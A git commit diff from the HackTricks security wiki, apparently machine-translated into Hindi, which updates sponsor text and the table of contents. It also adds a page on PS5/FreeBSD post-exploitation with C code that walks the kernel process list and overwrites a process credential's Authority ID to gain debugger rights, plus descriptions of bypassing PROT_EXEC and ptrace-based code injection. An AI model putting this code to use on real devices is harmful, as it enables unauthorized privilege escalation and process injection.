Translated ['src/generic-methodologies-and-resources/basic-forensic-meth

This commit is contained in:
Translator 2025-09-30 22:45:46 +00:00
parent 51d6911692
commit 440333682a
20 changed files with 2121 additions and 933 deletions

File diff suppressed because one or more lines are too long

View File

@ -2,9 +2,9 @@
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks लोगो और मोशन डिज़ाइन_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_ द्वारा_।
_Hacktricks के लोगो और मोशन डिज़ाइन द्वारा_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### HackTricks को स्थानीय रूप से चलाएँ
### HackTricks स्थानीय रूप से चलाएँ
```bash
# Download latest version of hacktricks
git clone https://github.com/HackTricks-wiki/hacktricks
@ -31,7 +31,7 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
आपकी स्थानीय कॉपी HackTricks **[http://localhost:3337](http://localhost:3337)** पर <5 िनट के उपलब्ध (इसमें पुस्तक बनने आवश्यकत है, धैर्य रखें)।
Your local copy of HackTricks will be **available at [http://localhost:3337](http://localhost:3337)** after <5 minutes (it needs to build the book, be patient).
## कॉर्पोरेट प्रायोजक
@ -39,11 +39,11 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) एक बेहतरीन साइबर सुरक्षा कंपनी है जिसका नारा है **HACK THE UNHACKABLE**। वे अपने स्वयं के शोध करते हैं और **कई मूल्यवान साइबर सुरक्षा सेवाएं** जैसे pentesting, Red teams और प्रशिक्षण के लिए अपने स्वयं के हैकिंग उपकरण विकसित करते हैं
[**STM Cyber**](https://www.stmcyber.com) एक बेहतरीन साइबरसिक्योरिटी कंपनी है जिसका नारा **HACK THE UNHACKABLE** है। वे अपना खुद का अनुसंधान करते हैं और अपने hacking tools विकसित करते हैं ताकि कई मूल्यवान साइबरसिक्योरिटी सेवाएं प्रदान कर सकें, जैसे pentesting, Red teams और training
आप उनक**ब्लॉग** को [**https://blog.stmcyber.com**](https://blog.stmcyber.com) पर देख सकते हैं
आप उनक**blog** [**https://blog.stmcyber.com**](https://blog.stmcyber.com) देख सकते हैं
**STM Cyber** भी HackTricks जैसे साइबर सुरक्षा ओपन-सोर्स प्रोजेक्ट्स का समर्थन करता है :)
**STM Cyber** HackTricks जैसे साइबरसिक्योरिटी open source प्रोजेक्ट्स का भी समर्थन करते हैं :)
---
@ -51,7 +51,7 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
<figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।
[**RootedCON**](https://www.rootedcon.com) Spain में सबसे प्रासंगिक साइबरसिक्योरिटी इवेंट है और Europe में सबसे महत्वपूर्ण आयोजनों में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह सम्मेलन प्रौद्योगिकी और साइबरसिक्योरिटी पेशेवरों के लिए हर अनुशासन में एक प्रमुख मिलन स्थल है।
{{#ref}}
https://www.rootedcon.com/
@ -63,9 +63,9 @@ https://www.rootedcon.com/
<figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
**Intigriti** **यूरोप का #1** नैतिक हैकिंग और **बग बाउंटी प्लेटफॉर्म** है।
**Intigriti** Europe की #1 ethical hacking और bug bounty platform है।
**बग बाउंटी टिप**: **Intigriti** के लिए **साइन अप करें**, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक के बाउंटी कमाना शुरू करें!
**Bug bounty tip**: **sign up** for **Intigriti**, एक प्रीमियम **bug bounty platform created by hackers, for hackers**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर जुड़ें, और $100,000 तक की bounties कमाना शुरू करें!
{{#ref}}
https://go.intigriti.com/hacktricks
@ -78,9 +78,9 @@ https://go.intigriti.com/hacktricks
<figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) का उपयोग करें ताकि आप दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा **वर्कफ़्लो** को आसानी से बना और स्वचालित कर सकें।
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) का उपयोग करके आप आसानी से workflows बनाएं और automate करें, जो दुनिया के सबसे advanced community tools द्वारा संचालित हैं।
आज ही एक्सेस प्राप्त करें:
Get Access Today:
{{#ref}}
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
@ -92,23 +92,23 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
<figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों ताकि आप अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
- **हैकिंग अंतर्दृष्टि:** उस सामग्री के साथ संलग्न हों जो हैकिंग के रोमांच और चुनौतियों में गहराई से जाती है
- **वास्तविक समय हैक समाचार:** वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से तेज़-तर्रार हैकिंग दुनिया के साथ अद्यतित रहें
- **नवीनतम घोषणाएँ:** नए बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें
- **Hacking Insights:** उन विषयों से जुड़ें जो hacking के रोमांच और चुनौतियों में डूबते हैं
- **Real-Time Hack News:** तेज़-तर्रार hacking दुनिया की real-time news और insights के साथ अपडेट रहें
- **Latest Announcements:** नए लॉन्च हो रहे bug bounties और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट्स से सूचित रहें
**हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
---
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - आवश्यक पेनिट्रेशन टेस्टिंग टूलकिट
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit
<figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**अपने वेब ऐप्स, नेटवर्क और क्लाउड पर हैकर का दृष्टिकोण प्राप्त करें**
**Get a hacker's perspective on your web apps, network, and cloud**
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम उपकरणों का उपयोग करें ताकि हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए
**Find and report critical, exploitable vulnerabilities with real business impact.** हमारे 20+ custom tools का उपयोग करके attack surface को map करें, उन security issues को ढूंढें जो आपको privileges escalate करने देते हैं, और automated exploits का उपयोग करके आवश्यक सबूत एकत्र करें, जिससे आपका मेहनतपूर्ण काम प्रभावी रिपोर्ट्स में बदल सके
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -120,22 +120,22 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
<figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi** तेज और आसान वास्तविक समय APIs प्रदान करता है ताकि आप **सर्च इंजन परिणामों** तक पहुँच सकें। वे सर्च इंजनों को स्क्रैप करते हैं, प्रॉक्सी को संभालते हैं, कैप्चा हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को पार्स करते हैं।
**SerpApi** तेज़ और आसान real-time APIs प्रदान करता है ताकि आप search engine results तक पहुंच सकें। वे search engines scrape करते हैं, proxies संभालते हैं, captchas हल करते हैं, और आपके लिए सभी समृद्ध संरचित डेटा को parse करते हैं।
SerpApi की योजनाओं में से एक की सदस्यता में विभिन्न सर्च इंजनों के लिए 50 से अधिक विभिन्न APIs तक पहुँच शामिल है, जिसमें Google, Bing, Baidu, Yahoo, Yandex, और अधिक शामिल हैं।\
अन्य प्रदाताओं के विपरीत, **SerpApi केवल जैविक परिणामों को स्क्रैप नहीं करता है**। SerpApi प्रतिक्रियाएँ लगातार सभी विज्ञापनों, इनलाइन छवियों और वीडियो, ज्ञान ग्राफ़, और खोज परिणामों में मौजूद अन्य तत्वों और सुविधाओं को शामिल करती हैं।
SerpApi की किसी भी योजना की सदस्यता में विभिन्न search engines को scrape करने के लिए 50+ अलग APIs तक पहुंच शामिल है, जिनमें Google, Bing, Baidu, Yahoo, Yandex और अन्य शामिल हैं.\
अन्य प्रदाताओं के विपरीत, **SerpApi सिर्फ organic results को scrape नहीं करता**। SerpApi responses लगातार सभी ads, inline images और videos, knowledge graphs, और search results में मौजूद अन्य तत्वों और फीचर्स को शामिल करते हैं।
वर्तमान SerpApi ग्राहक **Apple, Shopify, और GrubHub** हैं।\
अधिक जानकारी के लिए उनके [**ब्लॉग**](https://serpapi.com/blog/) पर जाएं, या उनके [**प्लेग्राउंड**](https://serpapi.com/playground) में एक उदाहरण आजमाएं।\
आप [**यहां**](https://serpapi.com/users/sign_up) **एक मुफ्त खाता बना सकते हैं**
Current SerpApi customers में **Apple, Shopify, and GrubHub** शामिल हैं।\
अधिक जानकारी के लिए उनका [**blog**](https://serpapi.com/blog/) देखें, या उनके [**playground**](https://serpapi.com/playground) में एक उदाहरण आज़माएँ।\
आप यहाँ एक मुफ्त खाता बना सकते है: [**https://serpapi.com/users/sign_up**](https://serpapi.com/users/sign_up)
---
### [8kSec Academy गहन मोबाइल सुरक्षा पाठ्यक्रम](https://academy.8ksec.io/)
### [8kSec Academy In-Depth Mobile Security Courses](https://academy.8ksec.io/)
<figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
कमजोरियों के शोध, पेनिट्रेशन टेस्टिंग, और रिवर्स इंजीनियरिंग को करने के लिए आवश्यक तकनीकों और कौशलों को सीखें ताकि मोबाइल ऐप्लिकेशनों और उपकरणों की सुरक्षा की जा सके। **iOS और Android सुरक्षा में महारत हासिल करें** हमारे ऑन-डिमांड पाठ्यक्रमों के माध्यम से और **प्रमाणित हों**:
मोबाइल एप्लिकेशन और डिवाइस की रक्षा करने के लिए vulnerability research, penetration testing, और reverse engineering करने के लिए आवश्यक तकनीकें और कौशल सीखें। हमारी ऑन-डिमांड कोर्सेज के माध्यम से **iOS and Android security** में महारथ हासिल करें और **get certified**:
{{#ref}}
https://academy.8ksec.io/
@ -147,13 +147,13 @@ https://academy.8ksec.io/
<figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.net) एक पेशेवर साइबर सुरक्षा कंपनी है जो **एम्स्टर्डम** में स्थित है जो **दुनिया भर में** व्यवसायों की सुरक्षा करती है नवीनतम साइबर सुरक्षा खतरों के खिलाफ **आक्रामक-सुरक्षा सेवाएं** प्रदान करके एक **आधुनिक** दृष्टिकोण के साथ
[**WebSec**](https://websec.net) एक पेशेवर साइबरसिक्योरिटी कंपनी है जो **Amsterdam** में आधारित है और दुनिया भर के व्यवसायों को नवीनतम साइबर खतरों से बचाने में मदद करती है, आधुनिक दृष्टिकोण के साथ **offensive-security services** प्रदान करके
WebSec एक अंतरराष्ट्रीय सुरक्षा कंपनी है जिसके कार्यालय एम्स्टर्डम और वायोमिंग में हैं। वे **ऑल-इन-वन सुरक्षा सेवाएं** प्रदान करते हैं जिसका अर्थ है कि वे सब कुछ करते हैं; Pentesting, **सुरक्षा** ऑडिट, जागरूकता प्रशिक्षण, फ़िशिंग अभियान, कोड समीक्षा, शोषण विकास, सुरक्षा विशेषज्ञों का आउटसोर्सिंग और बहुत कुछ।
WebSec एक अंतरराष्ट्रीय security कंपनी है जिसकी ऑफिस Amsterdam और Wyoming में हैं। वे **all-in-one security services** प्रदान करते हैं, जिसका अर्थ है कि वे सब कुछ करते हैं; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing और बहुत कुछ।
WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत के विपरीत WebSec **अपनी क्षमताओं में बहुत आत्मविश्वास** है, इस हद तक कि वे **सर्वश्रेष्ठ गुणवत्ता परिणामों की गारंटी** देते हैं, यह उनके वेबसाइट पर लिखा है "**अगर हम इसे हैक नहीं कर सकते, तो आप इसे नहीं चुकाएंगे!**" अधिक जानकारी के लिए उनकी [**वेबसाइट**](https://websec.net/en/) और [**ब्लॉग**](https://websec.net/blog/) पर एक नज़र डालें!
WebSec के बारे में एक और अच्छी बात यह है कि उद्योग के औसत की तुलना में WebSec अपनी क्षमताओं के प्रति **बहुत आत्मविश्वासी** है, इस हद तक कि वे **best quality results** की गारंटी भी देते हैं, उनकी वेबसाइट पर लिखा है "**If we can't hack it, You don't pay it!**". अधिक जानकारी के लिए उनकी [**website**](https://websec.net/en/) और [**blog**](https://websec.net/blog/) देखें!
इसके अलावा WebSec भी HackTricks का **प्रतिबद्ध समर्थक है।**
इसके अलावा WebSec HackTricks का भी **समर्पित समर्थक** है।
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) एक डेटा ब्रीच (leak) सर्च इंजन है। \
हम सभी प्रकार के डेटा लीक पर यादृच्छिक स्ट्रिंग खोज (जैसे गूगल) प्रदान करते हैं - केवल बड़े नहीं - कई स्रोतों से डेटा पर। \
लोगों की खोज, एआई खोज, संगठन की खोज, API (OpenAPI) एक्सेस, theHarvester एकीकरण, सभी सुविधाएँ जो एक pentester को चाहिए।\
**HackTricks हमारे लिए एक बेहतरीन शिक्षण प्लेटफॉर्म बना हुआ है और हम इसे प्रायोजित करने पर गर्व महसूस करते हैं!**
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) एक data breach (leak) search engine है. \
हम random string search (जैसे google) प्रदान करते हैं 모든 प्रकार के data leaks पर—बड़े और छोटे दोनों पर—कई स्रोतों के डेटा पर। \
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, सभी फ़ीचर्स जो एक pentester को चाहिए।\
**HackTricks हमारे लिए सीखने का एक शानदार प्लेटफ़ॉर्म बना रहता है और हमें इसे स्पॉन्सर करते हुए गर्व है!**
{{#ref}}
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@ -180,13 +180,14 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
<figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>
**क्षेत्र के लिए बनाया गया। आपके चारों ओर बनाया गया।**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) प्रभावी साइबर सुरक्षा प्रशिक्षण विकसित और प्रदान करता है जो उद्योग के विशेषज्ञों द्वारा बनाया और संचालित किया जाता है। उनके कार्यक्रम सिद्धांत से परे जाते हैं ताकि टीमों को गहरी समझ और क्रियाशील कौशल से लैस किया जा सके, वास्तविक दुनिया के खतरों को दर्शाने वाले कस्टम वातावरण का उपयोग करते हुए। कस्टम प्रशिक्षण पूछताछ के लिए, हमसे [**यहां**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks) संपर्क करें।
**उनके प्रशिक्षण को अलग करने वाली बातें:**
* कस्टम-निर्मित सामग्री और प्रयोगशालाएँ
* शीर्ष श्रेणी के उपकरणों और प्लेटफार्मों द्वारा समर्थित
* प्रैक्टिशनरों द्वारा डिज़ाइन और पढ़ाया गया
**Built for the field. Built around you.**\
[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) industry experts द्वारा निर्मित और नेतृत्व में विकसित प्रभावी साइबरसिक्योरिटी training विकसित करता और प्रदान करता है। उनके प्रोग्राम सिर्फ सिद्धांत से परे जाते हैं ताकि टीमों को गहरी समझ और actionable कौशल मिले, उन custom environments का उपयोग करके जो real-world threats को प्रतिबिंबित करते हैं। custom training के लिए inquiries हेतु हमसे यहाँ संपर्क करें [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks)।
**What sets their training apart:**
* Custom-built content and labs
* Backed by top-tier tools and platforms
* Designed and taught by practitioners
{{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks
@ -198,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
<figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
Last Tower Solutions **शिक्षा** और **फिनटेक** संस्थानों के लिए विशेष साइबर सुरक्षा सेवाएं प्रदान करता है, जिसमें **पेनिट्रेशन टेस्टिंग, क्लाउड सुरक्षा आकलन**, और **अनुपालन तत्परता** (SOC 2, PCI-DSS, NIST) पर ध्यान केंद्रित किया गया है। हमारी टीम में **OSCP और CISSP प्रमाणित पेशेवर** शामिल हैं, जो हर संलग्नता में गहरी तकनीकी विशेषज्ञता और उद्योग मानक अंतर्दृष्टि लाते हैं।
Last Tower Solutions शिक्षा और FinTech संस्थानों के लिए विशेष साइबरसिक्योरिटी सेवाएं प्रदान करता है, विशेष रूप से penetration testing, cloud security assessments, और compliance readiness (SOC 2, PCI-DSS, NIST) पर ध्यान केंद्रित करता है। हमारी टीम में **OSCP and CISSP certified professionals** शामिल हैं, जो हर engagement में गहरी तकनीकी विशेषज्ञता और industry-standard insight लाते हैं।
हम **स्वचालित स्कैन** से परे जाते हैं और **हाथ से, बुद्धिमत्ता-प्रेरित परीक्षण** करते हैं जो उच्च-जोखिम वाले वातावरण के लिए अनुकूलित होते हैं। छात्र रिकॉर्ड की सुरक्षा से लेकर वित्तीय लेनदेन की सुरक्षा तक, हम संगठनों को सबसे महत्वपूर्ण चीजों की रक्षा करने में मदद करते हैं
हम automated scans से आगे जाते हैं और high-stakes environments के लिए tailored manual, intelligence-driven testing प्रदान करते हैं। छात्र रिकॉर्ड सुरक्षित करने से लेकर वित्तीय लेनदेन की रक्षा करने तक, हम संगठनों को वह सुरक्षा देने में मदद करते हैं जो सबसे अधिक मायने रखती है
_“एक गुणवत्ता रक्षा के लिए आक्रमण को जानना आवश्यक है, हम समझ के माध्यम से सुरक्षा प्रदान करते हैं।”_
_“A quality defense requires knowing the offense, we provide security through understanding.”_
साइबर सुरक्षा में नवीनतम जानकारी के लिए हमारे [**ब्लॉग**](https://www.lasttowersolutions.com/blog) पर जाएं
नवीनतम साइबरसिक्योरिटी अपडेट्स के लिए उनके [**blog**](https://www.lasttowersolutions.com/blog) पर जाएँ
{{#ref}}
https://www.lasttowersolutions.com/
@ -212,15 +213,30 @@ https://www.lasttowersolutions.com/
---
## लाइसेंस और अस्वीकरण
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
उन्हें देखें:
<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
K8Studio IDE DevOps, DevSecOps, और developers को Kubernetes clusters को कुशलतापूर्वक manage, monitor, और secure करने में सक्षम बनाता है। हमारे AI-driven insights, advanced security framework, और intuitive CloudMaps GUI का लाभ उठाकर अपने clusters को visualize करें, उनकी स्थिति समझें, और आत्मविश्वास के साथ कार्रवाई करें।
इसके अलावा, K8Studio सभी प्रमुख kubernetes distributions के साथ **compatible** है (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
{{#ref}}
https://k8studio.io/
{{#endref}}
---
## लाइसेंस & अस्वीकरण
इन्हें देखें:
{{#ref}}
welcome/hacktricks-values-and-faq.md
{{#endref}}
## गिटहब आँकड़े
## Github Stats
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)

View File

@ -59,6 +59,7 @@
- [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
- [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
- [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
- [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md)
- [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
- [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
- [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
@ -82,6 +83,7 @@
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Mutation Testing With Slither](blockchain/smart-contract-security/mutation-testing-with-slither.md)
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
@ -102,6 +104,7 @@
# 🐧 Linux Hardening
- [Linux Basics](linux-hardening/linux-basics.md)
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
@ -570,6 +573,7 @@
- [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md)
- [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md)
- [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md)
- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md)
- [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md)
- [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md)
- [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md)
@ -587,6 +591,7 @@
- [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md)
- [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md)
- [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md)
- [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md)
- [Bypass Payment Process](pentesting-web/bypass-payment-process.md)
- [Captcha Bypass](pentesting-web/captcha-bypass.md)
- [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md)
@ -843,6 +848,7 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)

View File

@ -0,0 +1,184 @@
# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 केस स्टडी)
{{#include ../banners/hacktricks-training.md}}
## अवलोकन
यह पृष्ठ PlayStation 5 (PS5) पर एक व्यावहारिक Unix/BSD usermode प्रक्रिया/ELF इंजेक्शन तकनीक का दस्तावेज़ीकरण करता है, जो FreeBSD पर आधारित है। यह विधि FreeBSD व्युत्पन्नों पर भी सामान्यीकृत होती है जब आपके पास पहले से kernel read/write (R/W) प्रिमिटिव्स हों। उच्च स्तरीय:
- वर्तमान प्रक्रिया के credentials (ucred) को पैच करें ताकि debugger अधिकार मिलें, जिससे arbitrary user प्रक्रियाओं पर ptrace/mdbg सक्षम हो सके।
- kernel allproc list को चलाकर लक्षित प्रक्रियाओं का पता लगाएँ।
- लक्ष्य के vm_map में kernel data writes के माध्यम से vm_map_entry.protection |= PROT_EXEC करके PROT_EXEC प्रतिबंधों को बायपास करें।
- ptrace का उपयोग करके Remote Function Invocation (RFI) करें: एक थ्रेड को निलंबित करें, रजिस्टर सेट करें ताकि लक्ष्य के अंदर arbitrary फ़ंक्शंस कॉल हो सकें, फिर resume करें, रिटर्न मान एकत्र करें, और स्थिति पुनर्स्थापित करें।
- in-process ELF loader का उपयोग करके लक्ष्य के अंदर arbitrary ELF payloads मैप और चलाएँ, फिर एक समर्पित थ्रेड स्पॉन करें जो आपका payload चलाए और साफ़ तरीके से detach करने के लिए एक breakpoint ट्रिगर करे।
PS5 hypervisor mitigations जिन्हें उल्लेख करना आवश्यक है (इस तकनीक के संदर्भ में):
- XOM (execute-only .text) kernel .text को पढ़ने/लिखने से रोकता है।
- CR0.WP को साफ़ करना या CR4.SMEP को अक्षम करना एक hypervisor vmexit (क्रैश) का कारण बनता है। केवल data-only kernel writes व्यावहारिक हैं।
- Userland mmap डिफ़ॉल्ट रूप से PROT_READ|PROT_WRITE तक सीमित है। PROT_EXEC प्रदान करना kernel मेमोरी में vm_map एंट्रियों को संशोधित करके ही किया जाना चाहिए।
यह तकनीक post-exploitation है: यह मानती है कि exploit chain से kernel R/W प्रिमिटिव्स पहले से मौजूद हैं। सार्वजनिक payloads लेखन के समय firmware 10.01 तक इसे प्रदर्शित करते हैं।
## Kernel data-only primitives
### allproc के माध्यम से प्रक्रिया की खोज
FreeBSD kernel .data में allproc पर प्रक्रियाओं की एक doubly-linked list बनाए रखता है। एक kernel read primitive के साथ, इसे इटरेट करके प्रक्रिया नामों और PIDs का पता लगाएँ:
```c
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
```
नोट:
- KERNEL_ADDRESS_ALLPROC फर्मवेयर-निर्भर है।
- p_comm एक स्थिर-आकार नाम है; आवश्यकता होने पर pid->proc खोजों पर विचार करें।
### डिबगिंग के लिए क्रेडेंशियल उन्नत करें (ucred)
PS5 पर, struct ucred में proc->p_ucred के माध्यम से पहुँचे जाने योग्य एक Authority ID फ़ील्ड शामिल है। debugger Authority ID लिखने से अन्य प्रक्रियाओं पर ptrace/mdbg की अनुमति मिल जाती है:
```c
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
```
